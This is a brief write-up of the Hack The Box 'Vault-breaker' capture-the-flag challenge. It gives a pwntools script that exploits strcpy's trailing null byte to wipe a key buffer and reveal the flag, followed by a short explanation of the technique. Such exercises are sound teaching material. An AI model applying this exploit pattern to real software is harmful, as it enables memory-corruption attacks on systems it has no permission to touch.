HackTheBox Vault-breaker Writeup

Explore the basics of cybersecurity in the Vault-breaker Challenge on Hack The Box. This very-easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

from pwn import *

context.binary = 'vault-breaker'

def get_process():
    if len(sys.argv) == 1:
        return context.binary.process()
    host, port = sys.argv[1].split(':')
    return remote(host, int(port))

if __name__ == '__main__':
    p = get_process()
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'[*] Length of new password (0-31): ', b'0')
    progress = log.progress('Number')
    for i in range(31, -1, -1):
        progress.status(str(i))
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'[*] Length of new password (0-31): ', str(i).encode())
    p.sendlineafter(b'> ', b'2')
    p.interactive()

Summary

The Vault-breaker Challenge on Hack The Box demonstrates key concepts of buffer overflow exploitation and null byte injection. By analyzing the behavior of the strcpy function, you exploit its tendency to append a null byte at the end of the string, progressively nullifying a critical buffer. This process ultimately bypasses the encryption mechanism to reveal the flag. The challenge is perfect for beginners to explore binary exploitation, memory manipulation, and gain a deeper understanding of how buffer overflows interact with string functions in a controlled environment.